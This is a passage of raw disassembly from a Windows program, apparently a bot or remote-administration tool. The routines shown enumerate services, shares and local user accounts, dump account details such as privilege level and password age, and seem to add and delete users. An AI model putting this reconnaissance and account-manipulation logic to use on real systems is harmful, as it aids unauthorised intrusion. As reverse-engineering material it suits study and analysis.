ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_43F1A8 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43F1A8 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_43F1A8 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43AD8C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43AD58 test eax, eax jnz short loc_40DA25 nop call near ptr 26702AAh cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43AC9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_43F464 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_43F464 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_43F664, 1 mov ebp, eax jnz short loc_40DBFA or byte_43F664, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_43F404, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_43F404 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_43F404 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43AC98 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43AC70 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43ACE4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43AC8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43AE28 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_43F668 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_43F668 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43AC7C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43AC6C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43ADF0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43AE28 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43AD00 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43AE28 xor 